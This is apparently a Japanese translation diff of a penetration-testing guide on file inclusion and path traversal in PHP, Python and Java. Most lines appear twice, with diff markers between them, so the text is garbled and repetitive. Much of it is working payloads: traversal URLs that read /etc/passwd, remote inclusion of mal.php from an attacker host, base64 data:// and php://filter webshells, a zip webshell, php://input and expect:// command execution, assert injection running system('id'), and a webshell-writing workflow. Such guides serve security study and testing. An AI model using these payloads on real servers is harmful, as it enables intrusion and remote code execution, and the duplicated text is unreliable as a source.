脆弱性の有無を確認するために /etc/password ファイルを見つけるいくつかのテクニックを使用するリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります
### **Windows**
異なるワードリストのマージ:
異なる wordlists のマージ:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
また `/``\` に変更して試してください\
また `C:/` を削除して `../../../../../` を追加してみてください
また`/``\` に変更してみてください\.
また`C:/` を削除して `../../../../../` を追加してみてください
脆弱性が存在するかを確認するために /boot.ini ファイルを見つけるための複数の手法を使用するリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります
脆弱性の有無を確認するために /boot.ini ファイルを見つけるいくつかのテクニックを使用するリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります
### **OS X**
linux の LFI リストを確認してください。
## 基本的な LFI と bypasses
## Basic LFI and bypasses
全ての例は Local File Inclusion のためのもので、Remote File Inclusion にも適用可能です (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal シーケンスが非再帰的に削除される
### トラバーサルシーケンスが非再帰的に除去される
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass 提供された文字列の末尾にさらに文字を追加する処理を回避するbypass of: $\_GET\['param']."php")
提供された文字列の末尾に余分な文字が追加される処理をBypassするbypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
これは **PHP 5.4 以降で解決されています**
これは **PHP 5.4 以降で修正されています**
### **エンコーディング**
### **Encoding**
非標準のエンコーディングdouble URL encode やその他)を使用できます:
double URL encode (and others) のような非標準のエンコーディングを使用できます:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 既存フォルダから
おそらく back-end がフォルダパスをチェックしている:
おそらくバックエンドがフォルダパスをチェックしている:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### サーバのファイルシステム内のディレクトリを探索する
### サーバー上のファイルシステムディレクトリの探索
特定の手法を用いることで、サーバのファイルシステムを再帰的に探索し、ファイルだけでなくディレクトリを特定できます。このプロセスでは、ディレクトリの深さを特定し、特定のフォルダの存在を確認することが含まれます。以下にその詳細な方法を示します:
サーバーのファイルシステムは、特定の手法を用いることでファイルだけでなくディレクトリを再帰的に探索できます。このプロセスはディレクトリの深さを特定し、特定のフォルダの存在を確認することを含みます。以下はこれを実現するための詳細な方法です:
1. **ディレクトリの深さを判定する:** 現在のディレクトリの深さは、`/etc/passwd` を正常に取得できるかどうかで見積もります(サーバが Linux の場合に該当)。例えば、深さが 3 であることを示す URL 構造の例は次のようになります:
1. **Determine Directory Depth:** 現在のディレクトリの深さは、`/etc/passwd` ファイルを正常に取得することで判定します(サーバーが Linux ベースの場合に適用。例として、深さが3であることを示す URL は次のように構成される場合があります:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **フォルダを探索する:** 疑わしいフォルダ名(例:`private`をURLに追加し、続けて`/etc/passwd`にアクセスします。追加のディレクトリレベルがあるため、depthを1つ増やす必要があります
2. **フォルダの探索:** 疑わしいフォルダ名(例: `private`をURLに追加し、次に`/etc/passwd`に戻ってアクセスします。追加のディレクトリレベルにより、depthを1つ増やす必要があります
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **結果の解釈:** サーバーの応答からフォルダが存在するかどうかを判別します:
- **エラー / 出力なし:** 指定した場所に `private` フォルダが存在しない可能性が高いです
3. **結果の解釈:** サーバーのレスポンスはフォルダが存在するかどうかを示します:
- **エラー / 出力なし:** 指定した場所にフォルダ `private` は存在しない可能性が高い
- **`/etc/passwd` の内容:** `private` フォルダの存在が確認されます。
4. **再帰的探索:** 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を用いて、サブディレクトリやファイルをさらに調査できます。
4. **再帰的探索:** 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を使ってサブディレクトリやファイルをさらに調べることができます。
ファイルシステム内の別の場所にあるディレクトリを調査するには、payload を適宜調整してください。例えば、現在のディレクトリが深さ3にあると仮定して、`/var/www/``private` ディレクトリが含まれているか確認するには、次のようにします:
ファイルシステムの異なる場所にあるディレクトリを調べるには、ペイロードを適宜調整してください。例えば、カレントディレクトリの深さが3であると仮定して、`/var/www/``private` ディレクトリが含まれているか確認するには:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation は、web applications 内の file paths を操作するための手法です。これは、file paths の末尾に追加文字を付加するようなセキュリティ対策をバイパスして、アクセス制限されたファイルに到達するためによく使われます。目的は、セキュリティ対策によって変更された後でも目的のファイルを指し続ける file path を作成することです。
Path truncationは、ウェブアプリケーションにおけるfile pathsを操作するために用いられる手法です。file pathsの末尾に追加文字を付加するようなセキュリティ対策を回避してrestricted filesにアクセスするために使われることが多いです。目的は、セキュリティ対策によって変更された後でも依然として目的のファイルを指すfile pathを作成することです。
In PHP では、ファイルシステムの性質上、file path のさまざまな表現が同等と見なされることがあります。例えば:
In PHPでは、ファイルシステムの性質上、file pathのさまざまな表現が同一とみなされることがあります。例えば:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` はすべて同じpathとして扱われます。
- 最後の6文字が `passwd` の場合、末尾に `/` を付けて `passwd/` にしても対象ファイルは変わりません。
- 同様に、file pathに `.php` が付加される(例: `shellcode.php`)場合でも、末尾に `/.` を追加してもアクセスされるファイルは変わりません。
The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):
以下の例は、path truncationを利用して `/etc/passwd` にアクセスする方法を示しています。これは機微な内容(ユーザーアカウント情報)を含むため一般的なターゲットです:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
これらのシナリオでは、必要な traversals の数は約2027になることがありますが、この数はサーバの構成によって変わる可能性があります。
これらのシナリオでは、必要な traversals の数は約2027になることがありますが、この数はサーバーの設定によって変動します。
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と追加のドットセグメントや文字を組み合わせることでファイルシステムを移動でき、サーバが付加した文字列を事実上無視できます。
- **Determining the Required Number of Traversals**: 試行錯誤により、root ディレクトリへ、さらに `/etc/passwd` に到達するために必要な正確な `../` シーケンスの数を見つけることができ、`.php` のような付加文字列を無効化しつつ、目的のパス (`/etc/passwd`) を保持できます。
- **Starting with a Fake Directory**: パスを存在しないディレクトリ(例えば `a/`)で開始するのは一般的な手法です。このテクニックは予防措置として、またはサーバのパス解析ロジックの要件を満たすために使用されます。
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と余分なドットセグメントや文字を組み合わせることでファイルシステムを移動でき、サーバーによって付加された文字列を実質的に無視できます。
- **Determining the Required Number of Traversals**: 試行錯誤によって、ルートディレクトリに移動してから `/etc/passwd` に到達するのに必要な正確な `../` の数を見つけることができ、`.php` のような付加文字列が無効化されても目的のパス (`/etc/passwd`) は保持されるようにします。
- **Starting with a Fake Directory**: パスの先頭に存在しないディレクトリ(例: `a/`)を置くのは一般的な慣習です。この手法は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使われます。
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
**この脆弱性は PHP 5.3 で修正されました。**
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
```
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
phpではデフォルトで無効になっています。理由は **`allow_url_include`** が **Off.** だからです。動作させるには **On** にする必要があり、その場合は自分のサーバーから PHP ファイルをインクルードして RCE を得ることができます:
phpではデフォルトで無効になっています。これは **`allow_url_include`** が **Off.** のためです。動作させるには **On** にする必要があり、その場合は自分のサーバーからPHPファイルをincludeしてRCEを得ることができます:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
もし何らかの理由で **`allow_url_include`** が **On** になっているが、PHP が外部ウェブページへのアクセスを **フィルタリング** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えば data protocol と base64 を使って b64 PHP コードをデコードし、egt RCE を得ることができます:
もし何らかの理由で **`allow_url_include`** が **On** になっているが、PHP が外部ウェブページへのアクセスを **filtering** している場合、[according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)、たとえば data protocol with base64 を使って b64 PHP コードをデコードし、RCE を取得できます:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> 前のコードでは、最後の `+.txt` は攻撃者が `.txt` で終わる文字列を必要としたため追加されました。つまり文字列はそれで終わり、b64 decode の後、その部分は単なるゴミを返し、実際の PHP コードがインクルード(したがって、実行)されます。
> 前のコードでは、最後の `+.txt` は攻撃者が `.txt` で終わる文字列を必要としたため追加されました。文字列はそれで終わり、b64 decode の後、その部分は単なるジャンクを返し、実際の PHP コードが含まれて(したがって実行され)ます。
Another example **not using the `php://` protocol** would be:
別の例 **`php://` プロトコルを使用しない** は次のようになります:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python ルート要素
## Python ルート要素
次のような python コードでは:
次のような python コードでは:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
ユーザーが **絶対パス****`file_name`** に渡した場合、**前のパスは単に削除されます**:
ユーザーが **絶対パス****`file_name`** に渡した場合、**前のパスは単に削除されます**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
これは [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) による意図された挙動です:
これは[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)による意図した挙動です:
> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、結合はその絶対パスのコンポーネントから続行されます。
> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、結合は絶対パスのコンポーネントから続行されます。
## Java ディレクトリ一覧
JavaでPath Traversalがある場合、ファイルではなく**ディレクトリを要求すると**、**ディレクトリの一覧が返される**ようです。これは他の言語では起こらない(私の知る限り)ようです
JavaでPath Traversalがあり、ファイルの代わりに**ディレクトリを要求した場合**、**ディレクトリの一覧が返される**ようです。他の言語では(私の知る限り)これは起きないでしょう
## 上位25のパラメータ
## トップ25のパラメータ
local file inclusion (LFI) の脆弱性を含む可能性がある上位25のパラメータのリストは以下の通りです(出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)
以下はlocal file inclusion (LFI) 脆弱性の影響を受ける可能性のあるトップ25のパラメータの一覧です(出典: [link](https://twitter.com/trbughunters/status/1279768631845494787):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ local file inclusion (LFI) の脆弱性を含む可能性がある上位25のパ
?mod={payload}
?conf={payload}
```
## PHP wrappers & protocols を使った LFI / RFI
## LFI / RFI using PHP wrappers & protocols
### php://filter
PHP filters は、データが読み取られたり書き込まれたりする前に基本的な **変更操作** を行うことを可能にします。フィルタには5つのカテゴリがあります
PHP filters は、データが読み込まれる前や書き込まれる前に、データに対して基本的な **変更操作** を行うことを可能にします。フィルタは5つのカテゴリに分かれます:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: データからタグを除します("<" と ">" の間にあるすべて
- `string.strip_tags`: データからタグを除します("<" と ">" の間のすべての文字
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 別のエンコーディングに変換します`convert.iconv.<input_enc>.<output_enc>`)。サポートされている **全てのエンコーディングのリスト** を確認するにはコンソールで次を実行してください:`iconv -l`
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**全てのエンコーディングの一覧**を取得するにはコンソールで次を実行してください: `iconv -l`
> [!WARNING]
> `convert.iconv.*` conversion filter を悪用すると任意のテキストを **生成する** ことができ、任意のテキストを書き込んだり、include のような関数に任意のテキストを処理させる際に有用です。詳しくは [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) を参照してください。
> `convert.iconv.*` の変換フィルタを悪用すると **任意のテキストを生成できる** ため、任意のテキストを書き込んだり include のような関数に任意テキストを処理させるのに役立ちます。詳細は [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) を参照してください。
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: コンテンツを圧縮します (useful if exfiltrating a lot of info)
- `zlib.deflate`: コンテンツを圧縮します(大量の情報を exfiltrate する際に便利)
- `zlib.inflate`: データを展開します
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : 非推奨
- `mdecrypt.*` : 非推奨
- Other Filters
- PHPで `var_dump(stream_get_filters());` を実行すると、いくつかの **予期しないフィルタ** が見つかります:
- phpで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルタ**が見つかります:
- `consumed`
- `dechunk`: HTTP の chunked encoding を元に戻します
- `dechunk`: HTTP の chunked エンコーディングを元に戻します
- `convert.*`
```php
# String Filters
@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
> [!WARNING]
> 部分 "php://filter" は大文字小文字を区別しません
### php filters を oracle として使用して任意のファイルを読み取る
### php filters を oracle として任意のファイルを読むために使う方法
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力が返されない状態でもローカルファイルを読み取る手法が提案されています。この手法は **php filters を oracle として用いたファイルのブール的エクスフィルトレーション(文字ごと)** に基づいています。これは php filters を使ってテキストを十分に大きくし、php に例外を発生させることができるためです。
[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力が返されない状況でもローカルファイルを読む手法が提案されています。この手法は **boolean exfiltration of the file (char by char) using php filters** を oracle として利用することに基づいています。これは php filters を使ってテキストを十分に大きくし、php に例外を投げさせることができるためです。
オリジナルの投稿には手法の詳細な説明がありますが、ここでは簡潔にまとめます:
オリジナルの投稿には手法の詳細な説明がありますが、ここでは簡単な要約を示します:
- コーデック **`UCS-4LE`** を使ってテキストの先頭文字を残し、文字列のサイズを指数的に増やします。
- これにより、最初の文字が正しく推測されたときに php が **エラー** を発生させるほど大きな**テキスト**を生成できます
- **dechunk** フィルタは **先頭文字が16進数でない場合、すべてを削除する** ため、先頭文字が16進数かどうかを判別できます
- これと前述のフィルタおよび推測した文字に依存する他のフィルタを組み合わせることで、十分な変換を行ったときに先頭文字が16進数でなくなるかを確認して、テキストの先頭の文字を推測できます。なぜなら、16進数であれば dechunk は削除せず、初期の“爆弾”により php がエラーを起こすからです
- コーデック **convert.iconv.UNICODE.CP930** は各文字を次の文字に変換します(例えば a -> b。これにより先頭文字が例えば `a` であるかを判別できます。というのも、このコーデックを6回適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数の文字ではなくなり、dechunk はそれを削除せず、初期“爆弾”と掛け合わさって php のエラーが発生するためです
- rot13 のような他の変換を先頭で使うことで、n, o, p, q, r のような他の文字を leak することが可能です他のコーデックを使って他の文字を16進数範囲に移動させることもできます)。
- 先頭文字が数字の場合、base64 エンコードして最初の2文字を leak することで数字を判別する必要があります
- 最終的な課題は、**最初の文字以上を leak する方法** を考えることです。convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE のような order memory フィルタを使うことで、文字の順序を変更してテキストの他の文字を先頭に持ってくることが可能です
- さらに **追加データ** を取得できるようにするためのアイデアは、先頭に **2バイトのジャンクデータを生成する****convert.iconv.UTF16.UTF16** で作成し、**UCS-4LE** を適用して **次の2バイトとピボットさせるpivot with the next 2 bytes** 、そして **ジャンクデータまでデータを削除する**これにより元テキストの先頭2バイトが削除されます。これを目的の leak ビットに到達するまで続けます。
- コーデック **`UCS-4LE`** を使ってテキストの先頭文字を先頭に残し、文字列のサイズを指数的に増やす。
- これにより、先頭文字が正しく推測されたときに php が **エラー** を引き起こすほど巨大なテキストを生成できる
- **dechunk** フィルタは **最初の文字が16進数でない場合にすべてを削除する** ので、最初の文字が hex かどうかを判別できる
- これと前述の手法および推測した文字に応じた他のフィルタを組み合わせることで、十分な変換を行って最初の文字が16進数でなくなるタイミングを見て、先頭の文字を当てることができる。もし16進数であれば dechunk は削除せず、初期の爆発initial bombがphpエラーを発生させるためである
- コーデック **convert.iconv.UNICODE.CP930** は各文字を次の文字に変換する(このコーデック適用後: a -> b。これにより、例えば先頭文字が `a` かどうかを判別できる。なぜならこのコーデックを6回適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数文字ではなくなるため dechunk が削除せず、initial bomb と掛け合わせて php エラーが発生するからである
- rot13 のような他の変換を最初に使うことで、n, o, p, q, r のような別の文字を leak することが可能(他の codecs を使って別の文字を hex 範囲に移動させることもできる)。
- 最初の文字が数字の場合は base64 エンコードして、その数字を leak するために最初の2文字を取得する必要がある
- 最後の問題は、**how to leak more than the initial letter** を考えることである。order memory filters例: **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**)を使うと文字の順序を変更でき、テキストの他の文字を先頭位置に持ってくることが可能になる
- さらにデータを取得できるようにするためのアイデアは、まず **convert.iconv.UTF16.UTF16** で先頭に2バイトのジャンクデータを生成し、**UCS-4LE** を適用して次の2バイトと **pivot** させ、そして d**elete the data until the junk data**これにより元のテキストの最初の2バイトが削除されるを行う、というものです。これを目的のビットが leak されるまで繰り返す。
投稿ではこれを自動化するツールも公開されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
投稿ではこの処理を自動化するツールも leaked されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
このラッパーはプロセスが開いているファイル記述子にアクセスすることを可能にします。開かれているファイルの内容を抜き出すexfiltrateのに潜在的に有用です:
この wrapper により、プロセスが開いている file descriptors にアクセスできます。開かれているファイルの内容を exfiltrate するのに潜在的に有用です:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
また、**php://stdin, php://stdout and php://stderr** を使って、それぞれ**ファイル記述子 0, 1, 2** にアクセスできます(攻撃でどのように役立つかは不明です)
また、**php://stdin, php://stdout and php://stderr** を使って、それぞれ **file descriptors 0, 1 and 2** にアクセスできます(攻撃でどう役立つかは不明です)
### zip:// rar://
### zip:// and rar://
内部にPHPShellを含むZipまたはRarファイルをアップロードしてアクセスできます。\
rar protocolを悪用できるようにするには、**明示的に有効化する必要があ**。
PHPShell を含む Zip または Rar ファイルをアップロードしてアクセスできます。\
rar protocol を悪用できるようにするには、**明示的に有効化する必要があります**。
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -332,20 +332,20 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### expect://
Expect を有効にする必要があります。これを使ってコードを実行できます:
Expect を有効にする必要があります。次のようにコードを実行できます:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
payload を POST parameters に指定してください:
POSTパラメータにペイロードを指定してください:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
`.phar` ファイルは、Webアプリケーションが `include` のようなファイル読み込み関数を利用している場合に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは`.phar` ファイルの作成を示しています:
`.phar` ファイルは、Webアプリケーションがファイル読み込みに `include` のような関数を利用している場合に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは `.phar` ファイルの作成を示します:
```php
<?php
$phar = new Phar('test.phar');
@ -358,9 +358,9 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
実行すると`test.phar` という名前のファイルが作成され、Local File Inclusion (LFI) 脆弱性を悪用するために利用される可能性があります。
実行すると `test.phar` というファイルが作成され、Local File Inclusion (LFI) 脆弱性を悪用するために利用される可能性があります。
LFI が内部の PHP コードを実行せず、`file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()` などの関数を通じてファイルの読み取りのみを行う場合、`phar` プロトコルを用いたファイル読み取りに起因する deserialization 脆弱性の悪用を試みることができます。
LFI`file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, または `filesize()` のような関数を通じて内部のPHPコードを実行せずにファイルの読み取りのみを行う場合、deserialization vulnerability の悪用を試みることができます。この脆弱性は `phar` プロトコルを用いたファイル読み取りに関連しています。
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@ -373,74 +373,74 @@ phar-deserialization.md
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
非常に簡潔にまとめると: PHP ヒープの **3 byte overflow** が悪用され、特定サイズの free チャンクのチェーンを **alter the chain of free chunks** して任意のアドレスに **write anything in any address** できるようにし、`system` を呼ぶフックが追加されました。\
さらに多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。
PHPのphp filtersをサポートする**any arbitrary file read from PHP that supports php filters**を悪用してRCEを得ることが可能でした。The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
非常に短い要約: PHPヒープの**3 byte overflow**が悪用され、特定サイズのフリーチャンクのチェーンを**alter the chain of free chunks**することで任意のアドレスに**write anything in any address**できるようにし、**`system`** を呼ぶフックが追加されました。\
さらに、より多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込file inclusion attack でどのように有用かは不明)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL へのアクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL へのアクセス
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込みますfile inclusion attack でどのように有用かは不明)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL アクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL アクセス
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索する(出力は可読形式ではないため、本用途ではあまり有用ではない
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索しますprintable な出力を返さないため、ここではあまり役に立ちません
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意ファイルの読み取りには向かない
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立ちません
## LFI via PHP's 'assert'
PHP における Local File Inclusion (LFI) のリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高くなります。特に、".." のようなディレクトリトラバーサル文字を含む入力がチェックされても適切にサニタイズされていない場合に問題なります。
Local File Inclusion (LFI) は、文字列内のコードを実行できる 'assert' 関数を扱う場合に特にリスクが高くなります。特に、".. " のようなディレクトリトラバーサル文字を含む入力がチェックされていても適切にサニタイズされていない場合に問題なります。
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
これは traversal を防ぐことを目的としているが、意図せずに code injection のベクターを生み出してしまう。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のようなものを使うことができる:
これはtraversalを防ぐことを目的としていますが、意図せずcode injectionの攻撃ベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のように使用できます:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
同様に、任意のシステムコマンドを実行するには、次のようなものが使われることがあります:
同様に、任意のシステムコマンドを実行するには、次のようにすることがあります:
```plaintext
' and die(system("id")) or '
```
重要なのは、**URL-encode these payloads**。
It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> このテクニックは、**PHP関数**がファイルにアクセスする際の**ファイルパス**を**制御**できるが、ファイルの内容が表示されない(例えば単純な呼び出しの**`file()`**のようなケース)場合に関連します。
> この手法は、対象の**PHP関数**が**ファイルにアクセス**する(例: 単純な呼び出し **`file()`** のように)場合で、あなたがその**ファイルパス**を**制御**しているがファイルの内容は表示されないケースに関連します。
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
要約すると、この手法はファイルの内容を非常に大きくするために**"UCS-4LE" encoding**を使い、ファイルを開く**PHP function**が**error**を引き起こすようにします。
要約すると、この手法は **"UCS-4LE" encoding** を使ってファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数**が**エラー**を引き起こすようにします。
その後、最初の文字をleakするためにフィルタ **`dechunk`** を、**base64** や **rot13** などと組み合わせて使用し、最後にフィルタ **convert.iconv.UCS-4.UCS-4LE** および **convert.iconv.UTF16.UTF-16BE** を使って他の文字を先頭に配置し、それらをleakします。
その後、先頭文字を leak するためにフィルタ **`dechunk`** が **base64****rot13** のような他のフィルタと一緒に使われ、最終的にフィルタ **convert.iconv.UCS-4.UCS-4LE****convert.iconv.UTF16.UTF-16BE** を使って先頭に別の文字を配置し、それらを leak します。
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
技術的な詳細は上記の投稿を参照してください!
For the technical details check the mentioned post!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
サーバー側のコードが、取り込んだ/アップロードされたファイルの送信先パスをユーザ制御のデータ(例: ファイル名や URL構築し、正規化や検証を行わない場合、`..` セグメントや絶対パスによって意図したディレクトリから抜け出し、任意のファイル書き込みを引き起こす可能性があります。もしpayloadをweb公開ディレクトリに配置できれば、通常はwebshellを置くことで認証不要のRCEが得られます。
サーバー側のファイル受け取り/アップロード処理が、ユーザー制御のデータ(例: filename や URLを使って宛先パスを構築し、正規化や検証を行わない場合、`..` セグメントや絶対パスによって意図したディレクトリを脱出し任意のファイルを書き込める可能性があります。ペイロードを web-exposed なディレクトリに配置できれば、通常は webshell を配置して認証不要の RCE を取得できます。
Typical exploitation workflow:
- パス/ファイル名を受け取りディスクに書き込むプリミティブ(例: メッセージ駆動のingestion、XML/JSONコマンドハンドラ、ZIP extractor 等)をエンドポイントやバックグラウンドワーカーで特定する
- web公開ディレクトリを特定する。一般的な例:
- パス/ファイル名を受け取りディスクにコンテンツを書き込むエンドポイントやバックグラウンドワーカーの write primitive を特定する(例: message-driven ingestion、XML/JSON コマンドハンドラ、ZIP extractor など)
- web-exposed なディレクトリを特定する。一般的な例:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- 意図したストレージディレクトリから webroot に抜けるトラバーサルパスを作成し、webshell の内容を含める。
- 配置したpayloadにアクセスしてコマンドを実行する。
- 意図したストレージディレクトリから webroot に抜ける traversal パスを作成し、webshell の内容を含める。
